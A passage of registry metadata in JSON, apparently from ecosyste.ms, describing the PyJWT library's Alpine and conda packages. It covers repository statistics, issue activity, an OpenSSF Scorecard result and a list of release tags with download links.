d54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:39.483Z","dependent_packages_count":3,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":8.198272056505013,"stargazers_count":2.4657879800718927,"forks_count":2.308128902062181,"average":3.243047234659772},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.15","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.15","url":"https://pkgs.alpinelinux.org/packages?branch=v3.15","ecosystem":"alpine","default":false,"packages_count":15857,"maintainers_count":287,"namespaces_count":2,"keywords_count":2466,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":786},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.684Z","updated_at":"2026-06-10T05:17:43.390Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.15/namespaces"}},{"id":5284678,"name":"pyjwt","ecosystem":"conda","description":"PyJWT is a Python library which allows you to encode and decode JSON Web Tokens (JWT). JWT is an open, industry-standard (RFC 7519) for representing claims securely between two parties.","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":null,"versions_count":16,"first_release_published_at":"2017-09-11T14:19:05.000Z","latest_release_published_at":"2026-06-08T15:52:58.000Z","latest_release_number":"2.13.0","last_synced_at":"2026-06-08T17:04:28.376Z","created_at":"2022-10-03T15:41:10.482Z","updated_at":"2026-06-08T17:06:00.720Z","registry_url":"https://anaconda.org/anaconda/pyjwt","install_command":"conda install -c anaconda pyjwt","documentation_url":null,"metadata":{},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-25T21:46:42.000Z","size":1263,"stargazers_count":5663,"open_issues_count":54,"forks_count":759,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-29T04:00:08.090Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-29T02:59:04.000Z","dependencies_parsed_at":"2026-05-29T04:00:13.295Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34071775,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-08T02:00:07.615Z","response_time":111,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@openfga + @auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?u=46012a23427994c3de6f022319a842f919d95d77\u0026v=4","repositories_count":230,"last_synced_at":"2026-05-30T08:21:36.085Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12233,"followers":1416,"following":418,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2026-05-30T08:21:36.085Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"